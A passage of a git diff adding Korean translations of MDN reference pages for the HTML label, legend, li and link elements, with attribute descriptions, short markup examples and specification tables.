+  <tr>
+   <th scope="row"><a href="/ko/docs/Web/Guide/HTML/Content_categories">콘텐츠 카테고리</a></th>
+   <td><a href="/ko/docs/Web/Guide/HTML/Content_categories#플로우_콘텐츠">플로우 콘텐츠</a>, <a href="/ko/docs/Web/Guide/HTML/Content_categories#구문_콘텐츠">구문 콘텐츠</a>, <a href="/ko/docs/Web/Guide/HTML/Content_categories#대화형_콘텐츠">대화형 콘텐츠</a>, <a href="/ko/docs/Web/Guide/HTML/Content_categories#양식_관련_콘텐츠">양식 관련 콘텐츠</a>, 뚜렷한 콘텐츠.</td>
+  </tr>
+  <tr>
+   <th scope="row">가능한 콘텐츠</th>
+   <td><a href="/ko/docs/Web/Guide/HTML/Content_categories#구문_콘텐츠">구문 콘텐츠</a>. 단, 다른 <code>&lt;label&gt;</code> 요소는 자손으로 올 수 없습니다. 레이블을 지정한 컨트롤 외의 다른 <a href="/ko/docs/Web/Guide/HTML/Content_categories#레이블_가능">레이블 가능</a> 요소는 자손으로 사용할 수 없습니다.</td>
+  </tr>
+  <tr>
+   <th scope="row">태그 생략</th>
+   <td>{{no_tag_omission}}</td>
+  </tr>
+  <tr>
+   <th scope="row">가능한 부모 요소</th>
+   <td><a href="/ko/docs/Web/Guide/HTML/Content_categories#구문_콘텐츠">구문 콘텐츠</a>를 허용하는 모든 요소.</td>
+  </tr>
+  <tr>
+   <th scope="row">가능한 ARIA 역할</th>
+   <td>없음</td>
+  </tr>
+  <tr>
+   <th scope="row">DOM 인터페이스</th>
+   <td>{{domxref("HTMLLabelElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">명세</th>
+   <th scope="col">상태</th>
+   <th scope="col">주석</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'forms.html#the-label-element', '&lt;label&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'forms.html#the-label-element', '&lt;label&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML4.01', 'interact/forms.html#h-17.9.1', '&lt;label&gt;')}}</td>
+   <td>{{Spec2('HTML4.01')}}</td>
+   <td>최초 정의</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{Compat("html.elements.label")}}</p>
diff --git a/files/ko/web/html/element/legend/index.html b/files/ko/web/html/element/legend/index.html
new file mode 100644
index 0000000000..522f96e610
--- /dev/null
+++ b/files/ko/web/html/element/legend/index.html
@@ -0,0 +1,91 @@
+---
+title: <legend>
+slug: Web/HTML/Element/legend
+tags:
+  - Element
+  - Forms
+  - HTML
+  - HTML forms
+  - Reference
+  - Web
+translation_of: Web/HTML/Element/legend
+---
+<div>{{HTMLRef}}</div>
+
+<p><strong>HTML <code>&lt;legend&gt;</code> 요소</strong>는 부모 {{HTMLElement("fieldset")}} 콘텐츠의 설명을 나타냅니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/legend.html", "tabbed-standard")}}</div>
+
+<p class="hidden">The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples </a> and send us a pull request.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/ko/docs/Web/Guide/HTML/Content_categories">콘텐츠 카테고리</a></th>
+   <td>없음.</td>
+  </tr>
+  <tr>
+   <th scope="row">가능한 콘텐츠</th>
+   <td><a href="/ko/docs/Web/Guide/HTML/Content_categories#구문_콘텐츠">구문 콘텐츠</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">태그 생략</th>
+   <td>{{no_tag_omission}}</td>
+  </tr>
+  <tr>
+   <th scope="row">가능한 부모 요소</th>
+   <td>{{htmlelement("fieldset")}} 요소. <code>&lt;legend&gt;</code>가 첫 번째 자식이어야 합니다.</td>
+  </tr>
+  <tr>
+   <th scope="row">가능한 ARIA 역할</th>
+   <td>없음</td>
+  </tr>
+  <tr>
+   <th scope="row">DOM 인터페이스</th>
+   <td>{{domxref("HTMLLegendElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="특성">특성</h2>
+
+<p><span style="line-height: 21px;">이 요소는 </span><a href="/ko/docs/Web/HTML/Global_attributes" style="line-height: 21px;" title="HTML/Global attributes">전역 특성</a>만<span style="line-height: 21px;"> 포함합니다.</span></p>
+
+<h2 id="예제">예제</h2>
+
+<p>{{HTMLElement("form")}}의 예제를 참고하세요.</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("HTML WHATWG", "forms.html#the-legend-element", "&lt;legend&gt;")}}</td>
+   <td>{{Spec2("HTML WHATWG")}}</td>
+   <td>Definition of the <code>legend</code> element</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("HTML5 W3C", "sec-forms.html#the-legend-element", "&lt;legend&gt;")}}</td>
+   <td>{{Spec2("HTML5 W3C")}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName("HTML4.01", "interact/forms.html#h-17.10", "&lt;legend&gt;")}}</td>
+   <td>{{Spec2("HTML4.01")}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("html.elements.legend")}}</p>
diff --git a/files/ko/web/html/element/li/index.html b/files/ko/web/html/element/li/index.html
new file mode 100644
index 0000000000..03d7df653a
--- /dev/null
+++ b/files/ko/web/html/element/li/index.html
@@ -0,0 +1,154 @@
+---
+title: <li>
+slug: Web/HTML/Element/li
+tags:
+  - Element
+  - HTML
+  - HTML grouping content
+  - Reference
+translation_of: Web/HTML/Element/li
+---
+<div>{{HTMLRef}}</div>
+
+<p><span class="seoSummary"><strong>HTML <code>&lt;li&gt;</code> 요소</strong>는 목록의 항목을 나타냅니다.</span> 반드시 정렬 목록({{htmlelement("ol")}}), 비정렬 목록({{htmlelement("ul")}}, 혹은 메뉴({{htmlelement("menu")}}) 안에 위치해야 합니다. 메뉴와 비정렬 목록에서는 보통 불릿으로 항목을 나타내고, 정렬 목록에서는 숫자나 문자를 사용한 오름차순 카운터로 나타냅니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/li.html", "tabbed-shorter")}}</div>
+
+<p class="hidden">The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples </a> and send us a pull request.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/ko/docs/Web/Guide/HTML/컨텐트_카테고리">콘텐츠 카테고리</a></th>
+   <td>없음.</td>
+  </tr>
+  <tr>
+   <th scope="row">가능한 콘텐츠</th>
+   <td><a href="/ko/docs/Web/Guide/HTML/컨텐트_카테고리#플로우_콘텐츠">플로우 콘텐츠</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">태그 생략</th>
+   <td>다른 <code>&lt;li&gt;</code> 요소 바로 뒤따르거나 자신이 부모의 마지막 자식인 경우 닫는 태그를 생략할 수 있습니다.</td>
+  </tr>
+  <tr>
+   <th scope="row">가능한 부모 요소</th>
+   <td>{{HTMLElement("ul")}}, {{HTMLElement("ol")}}, {{HTMLElement("menu")}} 요소.</td>
+  </tr>
+  <tr>
+   <th scope="row">가능한 ARIA 역할</th>
+   <td>{{ARIARole("menuitem")}}, {{ARIARole("menuitemcheckbox")}}, {{ARIARole("menuitemradio")}}, {{ARIARole("option")}}, {{ARIARole("presentation")}}, {{ARIARole("radio")}}, {{ARIARole("separator")}}, {{ARIARole("tab")}}, {{ARIARole("treeitem")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">DOM 인터페이스</th>
+   <td>{{domxref("HTMLLIElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="특성">특성</h2>
+
+<p>이 요소는 <a href="/ko/docs/Web/HTML/Global_attributes">전역 특성</a>을 포함합니다.</p>
+
+<dl>
+ <dt>{{htmlattrdef("value")}}</dt>
+ <dd>{{HTMLElement("ol")}} 요소 내부에서 항목의 현재 서수 값을 나타내는 정수. 리스트가 로마 숫자나 문자로 표시되더라도 이 특성에는 숫자만 넣을수 있습니다. <code>value</code>를 지정한 항목을 뒤따르는 다른 항목은 이 값에서부터 번호를 매깁니다. <code>value</code> 속성은 비정렬 목록({{HTMLElement("ul")}})과 메뉴({{HTMLElement("menu")}})에서는 아무 의미가 없습니다.
+ <div class="note"><strong>참고</strong>: HTML4에서는 <code>value</code>의 사용을 중단했지만 HTML5에서 다시 도입했습니다.</div>
+ </dd>
+ <dt>{{htmlattrdef("type")}} {{Deprecated_inline}}</dt>
+ <dd>넘버링 타입을 나타내는 문자.
+ <ul>
+  <li><code>a</code>: 소문자 글자</li>
+  <li><code>A</code>: 대문자 글자</li>
+  <li><code>i</code>: 소문자 로마 숫자</li>
+  <li><code>I</code>: 대문자 문자 숫자</li>
+  <li><code>1</code>: 숫자</li>
+ </ul>
+ 부모 {{HTMLElement("ol")}} 요소에서 지정하는 유형을 덮어씁니다.
+
+ <div class="note"><strong>참고:</strong> 이 속성은 사용 중단됐습니다. 대신 CSS {{cssxref("list-style-type")}} 속성을 사용하세요.</div>
+ </dd>
+</dl>
+
+<h2 id="예제">예제</h2>
+
+<p>더 자세한 예제는 {{htmlelement("ol")}}과 {{htmlelement("ul")}}을 참고하세요.</p>
+
+<h3 id="정렬_목록">정렬 목록</h3>
+
+<pre class="brush: html">&lt;ol&gt;
+    &lt;li&gt;first item&lt;/li&gt;
+    &lt;li&gt;second item&lt;/li&gt;
+    &lt;li&gt;third item&lt;/li&gt;
+&lt;/ol&gt;
+</pre>
+
+<p>{{EmbedLiveSample("정렬_목록")}}</p>
+
+<h3 id="사용자_지정_값을_가진_정렬_목록">사용자 지정 값을 가진 정렬 목록</h3>
+
+<pre class="brush: html">&lt;ol type="I"&gt;
+    &lt;li value="3"&gt;third item&lt;/li&gt;
+    &lt;li&gt;fourth item&lt;/li&gt;
+    &lt;li&gt;fifth item&lt;/li&gt;
+&lt;/ol&gt;
+</pre>
+
+<p>{{EmbedLiveSample("사용자_지정_값을_가진_정렬_목록")}}</p>
+
+<h3 id="비정렬_목록">비정렬 목록</h3>
+
+<pre class="brush: html">&lt;ul&gt;
+    &lt;li&gt;first item&lt;/li&gt;
+    &lt;li&gt;second item&lt;/li&gt;
+    &lt;li&gt;third item&lt;/li&gt;
+&lt;/ul&gt;</pre>
+
+<p>{{EmbedLiveSample("비정렬_목록")}}</p>
+
+<h2 id="Specifications" name="Specifications">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">명세</th>
+   <th scope="col">상태</th>
+   <th scope="col">주석</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'grouping-content.html#the-li-element', '&lt;li&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'the-li-element.html#the-li-element', '&lt;li&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML4.01', 'lists.html#h-10.2', '&lt;li&gt;')}}</td>
+   <td>{{Spec2('HTML4.01')}}</td>
+   <td>The <code>type</code> attribute has been deprecated.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("html.elements.li")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>리스트 관련 다른 요소: {{HTMLElement("ul")}}, {{HTMLElement("li")}}, {{HTMLElement("menu")}}.</li>
+ <li><code>&lt;li&gt;</code> 요소와 유용하게 사용할 수 있는 CSS 속성
+  <ul>
+   <li>서수를 표현할 방식을 지정하는 {{cssxref("list-style")}} 속성.</li>
+   <li>복잡한 중첩 목록을 처리하기 위한 <a href="/ko/docs/Web/CSS/CSS_Lists_and_Counters/Using_CSS_counters">CSS 카운터</a></li>
+   <li>항목의 들여쓰기를 조정하기 위한 {{cssxref("margin")}} 속성.</li>
+  </ul>
+ </li>
+</ul>
diff --git a/files/ko/web/html/element/link/index.html b/files/ko/web/html/element/link/index.html
new file mode 100644
index 0000000000..fcbf91c85b
--- /dev/null
+++ b/files/ko/web/html/element/link/index.html
@@ -0,0 +1,365 @@
+---
+title: '<link>: 외부 리소스 연결 요소'
+slug: Web/HTML/Element/link
+tags:
+  - Element
+  - HTML
+  - HTML document metadata
+  - Reference
+  - Web
+  - favicon
+  - metadata
+  - 메타데이터
+  - 파비콘
+translation_of: Web/HTML/Element/link
+---
+<div>{{HTMLRef}}</div>
+
+<p><strong>HTML <code>&lt;link&gt;</code></strong> 요소는 현재 문서와 외부 리소스의 관계를 명시합니다. <code>&lt;link&gt;</code>는 {{glossary("CSS", "스타일 시트")}}를 연결할 때 제일 많이 사용하지만, 사이트 아이콘("파비콘"과 홈 화면 아이콘) 연결 등 여러가지로 쓰일 수 있습니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/link.html")}}</div>
+
+<div class="hidden">The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> and send us a pull request.</div>
+
+<p>외부 스타일 시트를 연결하려면 {{htmlelement("head")}} 안에 다음과 같은 <code>&lt;link&gt;</code> 요소를 배치하세요.</p>
+
+<pre class="brush: html no-line-numbers notranslate">&lt;link href="main.css" rel="stylesheet"&gt;</pre>
+
+<p>위의 간단한 예제는 <code>href</code> 특성에 스타일 시트의 경로를, <code>rel</code> 특성에 <code>stylesheet</code>을 사용합니다. <code>rel</code>은 관계(<em>rel</em>ationship)를 뜻하며, 현재 문서와 연결한 아이템의 관계가 어떻게 되는지 설명합니다. 따라서 <code>&lt;link&gt;</code> 요소의 제일 중요한 기능 중 하나라고 볼 수 있습니다. <a href="/ko/docs/Web/HTML/Link_types">링크 유형</a> 참고서에서 볼 수 있듯 관계에는 다양한 종류가 있습니다.</p>
+
+<p>그중에서도 몇 가지 자주 쓰이는 유형이 있습니다. 사이트의 파비콘을 연결하려면 다음과 같이 사용합니다.</p>
+
+<pre class="brush: html no-line-numbers notranslate">&lt;link rel="icon" href="favicon.ico"&gt;</pre>
+
+<p>아이콘을 위한 <code>rel</code> 값도 여러개가 있으며, 주 용도는 다양한 휴대기기 플랫폼의 특별한 아이콘을 나타내기 위함입니다.</p>
+
+<pre class="brush: html no-line-numbers notranslate">&lt;link rel="apple-touch-icon-precomposed" sizes="114x114"
+      href="apple-icon-114.png" type="image/png"&gt;</pre>
+
+<p><code>sizes</code> 특성은 아이콘 크기를, <code>type</code> 특성은 연결한 리소스의 MIME을 포함합니다. 브라우저는 이런 여러가지 정보를 통해 가장 적합한 아이콘을 선택합니다.</p>
+
+<p><code>media</code> 특성을 사용해 미디어 유형이나 쿼리를 지정할 수도 있습니다. 그러면 해당 미디어 조건을 만족할 때만 리소스를 불러옵니다.</p>
+
+<pre class="brush: html no-line-numbers notranslate">&lt;link href="print.css" rel="stylesheet" media="print"&gt;
+&lt;link href="mobile.css" rel="stylesheet" media="screen and (max-width: 600px)"&gt;</pre>
+
+<p>새로운 성능 및 보안 관련 기능도 <code>&lt;link&gt;</code> 요소에 추가됐습니다. 다음 코드로 살펴보겠습니다.</p>
+
+<pre class="brush: html no-line-numbers notranslate">&lt;link rel="preload" href="myFont.woff2" as="font"
+      type="font/woff2" crossorigin="anonymous"&gt;</pre>
+
+<p><code>rel</code>의 <code>preload</code> 값은 브라우저가 이 리소스를 미리 불러와야 한다는 것(자세한 정보는 <a href="/ko/docs/Web/HTML/Preloading_content">이 문서</a>를 참고하세요)을 나타내고, <code>as</code> 특성은 가져오는 리소스가 어떤 리소스인지 나타냅니다. <code>crossorigin</code> 특성은 리소스를 {{glossary("CORS")}} 요청으로 불러와야 하는지에 대한 값입니다.</p>
+
+<div class="hidden">
+<p>Other usage notes:</p>
+
+<ul>
+ <li>A <code>&lt;link&gt;</code> element can occur either in the {{HTMLElement("head")}} or {{HTMLElement("body")}} element, depending on whether it has a <a href="https://html.spec.whatwg.org/multipage/links.html#body-ok">link type</a> that is <strong>body-ok</strong>. For example, the <code>stylesheet</code> link type is body-ok, and therefore <code>&lt;link rel="stylesheet"&gt;</code> is permitted in the body. However, this isn't a good practice to follow; it makes more sense to separate your <code>&lt;link&gt;</code> elements from your body content, putting them in the <code>&lt;head&gt;</code>.</li>
+ <li>When using <code>&lt;link&gt;</code> to establish a favicon for a site, and your site uses a Content Security Policy (CSP) to enhance its security, the policy applies to the favicon. If you encounter problems with the favicon not loading, verify that the {{HTTPHeader("Content-Security-Policy")}} header's <a href="/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/img-src"><code>img-src</code> directive</a> is not preventing access to it.</li>
+ <li>The HTML and XHTML specifications define event handlers for the <code>&lt;link&gt;</code> element, but it is unclear how they would be used.</li>
+ <li>Under XHTML 1.0, empty elements such as <code>&lt;link&gt;</code> require a trailing slash: <code>&lt;link /&gt;</code>.</li>
+ <li>WebTV supports the use of the value <code>next</code> for <code>rel</code> to preload the next page in a document series.</li>
+</ul>
+</div>
+
+<h2 id="특성">특성</h2>
+
+<p>이 요소는 <a href="/ko/docs/Web/HTML/Global_attributes">전역 특성</a>을 포함합니다</p>
+
+<dl>
+ <dt>{{HTMLAttrDef("as")}}</dt>
+ <dd><code>&lt;link&gt;</code> 요소에 <code>rel="preload"</code> 또는 <code>rel="prefetch"</code> 특성을 지정했을 때만 사용합니다. <code>as</code> 특성은 <code>&lt;link&gt;</code> 요소가 불러오는 콘텐츠의 유형을 지정합니다. 요청 매칭, 올바른 콘텐츠 보안 정책의 적용, 올바른 {{HTTPHeader("Accept")}} 요청 헤더 적용에 필요합니다. 이에 더해, <code>rel="preload"</code>는 <code>as</code> 특성을 사용해 요청 우선순위를 매깁니다. 다음 표는 특성의 유효한 값과, 해당 값이 적용되는 요소 또는 리소스를 나열합니다.</dd>
+ <dd>
+ <table class="standard-table">
+  <thead>
+   <tr>
+    <th scope="col">값</th>
+    <th scope="col">적용 대상</th>
+   </tr>
+  </thead>
+  <tbody>
+   <tr>
+    <td><code>audio</code></td>
+    <td><code>&lt;audio&gt;</code> 요소</td>
+   </tr>
+   <tr>
+    <td><code>document</code></td>
+    <td><code>&lt;iframe&gt;</code>과 <code>&lt;frame&gt;</code> 요소</td>
+   </tr>
+   <tr>
+    <td><code>embed</code></td>
+    <td><code>&lt;embed&gt;</code> 요소</td>
+   </tr>
+   <tr>
+    <td><code>fetch</code></td>
+    <td>
+     <p><code>fetch</code>, XHR</p>
+
+     <div class="blockIndicator note">
+     <p><code>fetch</code> 값은 <code>&lt;link&gt;</code> 요소에 <code>crossorigin</code> 특성도 요구합니다.</p>
+     </div>
+    </td>
+   </tr>
+   <tr>
+    <td><code>font</code></td>
+    <td>CSS <code>@font-face</code></td>
+   </tr>
+   <tr>
+    <td><code>image</code></td>
+    <td><code>srcset</code> 또는 <code>imageset</code> 특성을 가진 <code>&lt;img&gt;</code>와 <code>&lt;picture&gt;</code> 요소, SVG <code>&lt;image&gt;</code> 요소, CSS <code>*-image</code> 규칙</td>
+   </tr>
+   <tr>
+    <td><code>object</code></td>
+    <td><code>&lt;object&gt;</code> 요소</td>
+   </tr>
+   <tr>
+    <td><code>script</code></td>
+    <td><code>&lt;script&gt;</code> 요소, 워커 <code>importScripts</code></td>
+   </tr>
+   <tr>
+    <td><code>style</code></td>
+    <td><code>&lt;link rel=stylesheet&gt;</code> 요소, CSS <code>@import</code></td>
+   </tr>
+   <tr>
+    <td><code>track</code></td>
+    <td><code>&lt;track&gt;</code> 요소</td>
+   </tr>
+   <tr>
+    <td><code>video</code></td>
+    <td><code>&lt;video&gt;</code> 요소</td>
+   </tr>
+   <tr>
+    <td><code>worker</code></td>
+    <td>워커, 공유 워커</td>
+   </tr>
+  </tbody>
+ </table>
+ </dd>
+ <dt>{{htmlattrdef("crossorigin")}}</dt>
+ <dd>리소스를 가져올 때 {{glossary("CORS")}}를 사용해야 하는지 나타내는 열거형 특성입니다. <a href="/ko/docs/Web/HTML/CORS_Enabled_Image">CORS 활성화 이미지</a>는 {{HTMLElement("canvas")}} 요소를 "오염"(taint)시키지 않고 재사용할 수 있습니다. 가능한 값은 다음과 같습니다.
+ <dl>
+  <dt><code>anonymous</code></dt>
+  <dd>교차 출처 요청({{HTTPHeader("Origin")}} HTTP 헤더를 가진 요청)을 수행하지만 인증 정보, 즉 쿠키, X.509 인증서, HTTP Basic 인증 중 어떠한 것도 전송하지 않습니다. 서버에서 {{HTTPHeader("Access-Control-Allow-Origin")}} HTTP 헤더를 설정하지 않아서 출처 사이트에 인증 정보를 전달하지 않으면 리소스가 오염되어 사용처가 제한됩니다.</dd>
+  <dt><code>use-credentials</code></dt>
+  <dd>교차 출처 요청({{HTTPHeader("Origin")}} HTTP 헤더를 가진 요청)을 수행하면서 인증 정보, 즉 쿠키, X.509 인증서, HTTP Basic 인증 중 한 가지 이상을 수행합니다. 서버에서 {{HTTPHeader("Access-Control-Allow-Origin")}} HTTP 헤더를 설정하지 않아서 출처 사이트에 인증 정보를 전달하지 않으면 리소스가 오염되어 사용처가 제한됩니다.</dd>
+ </dl>
+ <code> crossorigin</code> 특성이 존재하지 않으면 리소스를 {{Glossary("CORS")}} 요청 없이 가져오므로 리소스의 오염 없이는 사용이 불가능합니다. 유효하지 않은 값은 <strong>anonymous</strong>를 지정한 것으로 간주합니다. <a href="/ko/docs/Web/HTML/Attributes/crossorigin">CORS 설정 특성</a> 문서에서 더 자세한 정보를 알아보세요.</dd>
+ <dt>{{htmlattrdef("disabled")}}</dt>
+ <dd>
+ <p><code>rel="stylesheet"</code>에 한정하여, <code>disabled</code> 불리언 특성은 스타일시트를 불러와서 문서에 적용할지 나타냅니다. HTML을 불러오는 시점에 <code>disabled</code>를 지정한 경우 스타일시트는 페이지 로딩 시점에 불러오지 않습니다. 이후에 <code>disabled</code> 특성이 <code>false</code>로 바뀌거나 아예 제거될 때는 불러옵니다.</p>
+
+ <p>DOM에서 <code>disabled</code> 속성을 지정하면 문서의 {{domxref("document.styleSheets")}} 리스트에서 스타일시트를 제거합니다.</p>
+ </dd>
+ <dt>{{HTMLAttrDef("href")}}</dt>
+ <dd>연결할 리소스의 {{glossary("URL")}}입니다. 절대와 상대 URL 모두 가능합니다.</dd>
+ <dt>{{HTMLAttrDef("hreflang")}}</dt>
+ <dd>연결할 리소스가 사용하는 언어입니다. 오직 제안하는 용도로만 사용합니다. 가능한 값은 <a href="https://www.ietf.org/rfc/bcp/bcp47.txt">BCP47</a>에 따릅니다. {{htmlattrxref("href", "link")}} 특성이 존재할 때만 사용하세요.</dd>
+ <dt id="name-attribute">{{HTMLAttrDef("importance")}} {{Experimental_Inline}}</dt>
+ <dd>리소스의 상대적인 중요도입니다. 가능한 값은 다음과 같습니다.</dd>
+ <dd>
+ <p><strong><code>auto</code></strong>: <strong>설정 안함</strong>. 브라우저가 자체 휴리스틱을 사용해 리소스의 우선순위를 결정합니다.</p>
+
+ <p><strong><code>high</code></strong>: 브라우저에게 리소스가 <strong>높은</strong> 우선순위를 지님을 알려줍니다.</p>
+
+ <p><strong><code>low</code></strong>: 브라우저에게 리소스가 <strong>낮은</strong> 우선순위를 지님을 알려줍니다.</p>
+
+ <div class="blockIndicator note">
+ <p><strong>참고: </strong><code>importance</code> 특성은 <code>&lt;link&gt;</code> 요소가 <code>rel="preload"</code> 또는 <code>rel="prefetch"</code>를 가지고 있어야 사용할 수 있습니다.</p>
+ </div>
+ </dd>
+ <dt>{{HTMLAttrDef("integrity")}} {{Experimental_Inline}}</dt>
+ <dd>Contains inline metadata — a base64-encoded cryptographic hash of the resource (file) you’re telling the browser to fetch. The browser can use this to verify that the fetched resource has been delivered free of unexpected manipulation. See <a href="/en-US/docs/Web/Security/Subresource_Integrity">Subresource Integrity</a>.</dd>
+ <dt>{{htmlattrdef("media")}}</dt>
+ <dd>연결된 리소스를 적용할 미디어를 명시합니다. 값으로는 반드시 미디어 유형이나 미디어 쿼리를 사용해야 합니다. <code>media</code> 특성은 사용자 에이전트가 현재 장치에 맞춰 최적의 스타일시트를 선택하도록 할 수 있으므로 주로 외부 스타일시트를 연결할 때 유용합니다.
+ <div class="note"><strong>참고: </strong>
+ <ul>
+  <li>HTML 4에서는 이 특성의 값으로 사용할 수 있는<code>print</code>, <code>screen</code>, <code>aural</code>, <code>braille</code>등과 같은 값을 공백으로 구분한 미디어 설명 문자열 목록, 예를 들어, 미디어 유형 및 그룹(<a href="/en-US/docs/CSS/@media">media types and groups</a>)일 수 있습니다.HTML5에서는 이를 확장하여 HTML 4에서 허용되는 값 외에 어떤 유형의<a href="/en-US/docs/CSS/Media_queries">media queries</a>든 사용할 수 있습니다.</li>
+  <li><a href="/en-US/docs/CSS/Media_queries">CSS3 Media Queries</a>를 지원하지 않는 브라우저는 이를 타당한 링크로 인식하지 않을 수 있으므로HTML 4에 정의되어 있는제한된 media query의 집합을 이용한 폴백(fallback) 링크를 설정하는 것을 잊지 말기바랍니다.</li>
+ </ul>
+ </div>
+ </dd>
+ <dt>{{HTMLAttrDef("referrerpolicy")}} {{Experimental_Inline}}</dt>
+ <dd>A string indicating which referrer to use when fetching the resource:
+ <ul>
+  <li><code>no-referrer</code> means that the {{HTTPHeader("Referer")}} header will not be sent.</li>
+  <li><code>no-referrer-when-downgrade</code> means that no {{HTTPHeader("Referer")}} header will be sent when navigating to an origin without TLS (HTTPS). This is a user agent’s default behavior, if no policy is otherwise specified.</li>
+  <li><code>origin</code> means that the referrer will be the origin of the page, which is roughly the scheme, the host, and the port.</li>
+  <li><code>origin-when-cross-origin</code> means that navigating to other origins will be limited to the scheme, the host, and the port, while navigating on the same origin will include the referrer's path.</li>
+  <li><code>unsafe-url</code> means that the referrer will include the origin and the path (but not the fragment, password, or username). This case is unsafe because it can leak origins and paths from TLS-protected resources to insecure origins.</li>
+ </ul>
+ </dd>
+ <dt>{{htmlattrdef("rel")}}</dt>
+ <dd>연결할 리소스와 현재 문서의 관계. <a href="/ko/docs/Web/HTML/Link_types">링크 유형</a>의 값을 공백으로 구분한 리스트를 지정해야 합니다.</dd>
+ <dt>{{HTMLAttrDef("sizes")}}</dt>
+ <dd>This attribute defines the sizes of the icons for visual media contained in the resource. It must be present only if the {{HTMLAttrxRef("rel", "link")}} contains a value of <code>icon</code> or a non-standard type such as Apple's <code>apple-touch-icon</code>. It may have the following values:
+ <ul>
+  <li><code>any</code>, meaning that the icon can be scaled to any size as it is in a vector format, like <code>image/svg+xml</code>.</li>
+  <li>a white-space separated list of sizes, each in the format <code><em>&lt;width in pixels&gt;</em>x<em>&lt;height in pixels&gt;</em></code> or <code><em>&lt;width in pixels&gt;</em>X<em>&lt;height in pixels&gt;</em></code>. Each of these sizes must be contained in the resource.</li>
+ </ul>
+
+ <div class="blockIndicator note">
+ <p><strong>Note: </strong>Most icon formats are only able to store one single icon; therefore most of the time the {{HTMLAttrxRef("sizes")}} attribute contains only one entry. MS's ICO format does, as well as Apple's ICNS. ICO is more ubiquitous, so you should use this format if cross-browser support is a concern (especially for old IE versions).</p>
+ </div>
+ </dd>
+ <dt>{{htmlattrdef("title")}}</dt>
+ <dd>The <code>title</code> attribute has special semantics on the <code>&lt;link&gt;</code> element. When used on a <code>&lt;link rel="stylesheet"&gt;</code> it defines a <a href="/ko/docs/Web/CSS/Alternative_style_sheets">preferred or an alternate stylesheet</a>. Incorrectly using it may <a href="/ko/docs/Correctly_Using_Titles_With_External_Stylesheets">cause the stylesheet to be ignored</a>.</dd>
+ <dt>{{htmlattrdef("type")}}</dt>
+ <dd>이 특성은 링크된 콘텐츠의 타입을 정의하는데 사용됩니다. 특성의 값은<strong> text/html</strong>, <strong>text/css</strong>와 같은 MIME 타입이여야합니다. 이 특성은 링크된 스타일시트의 타입을 지정하는데 쓰이는것이 보통이며, text/css 값이 가장 흔합니다.</dd>
+</dl>
+
+<h3 id="비표준_특성">비표준 특성</h3>
+
+<dl>
+ <dt>{{HTMLAttrDef("methods")}} {{Non-standard_Inline}}</dt>
+ <dd>The value of this attribute provides information about the functions that might be performed on an object. The values generally are given by the HTTP protocol when it is used, but it might (for similar reasons as for the <strong>title</strong> attribute) be useful to include advisory information in advance in the link. For example, the browser might choose a different rendering of a link as a function of the methods specified; something that is searchable might get a different icon, or an outside link might render with an indication of leaving the current site. This attribute is not well understood nor supported, even by the defining browser, Internet Explorer 4.</dd>
+ <dt>{{HTMLAttrDef("prefetch")}} {{Non-standard_Inline}} {{secureContext_inline}}</dt>
+ <dd>This attribute identifies a resource that might be required by the next navigation and that the user agent should retrieve it. This allows the user agent to respond faster when the resource is requested in the future.</dd>
+ <dt>{{HTMLAttrDef("target")}} {{Non-standard_Inline}}</dt>
+ <dd>Defines the frame or window name that has the defined linking relationship or that will show the rendering of any linked resource.</dd>
+</dl>
+
+<div class="hidden">
+<h3 id="폐기된_특성">폐기된 특성</h3>
+
+<dl>
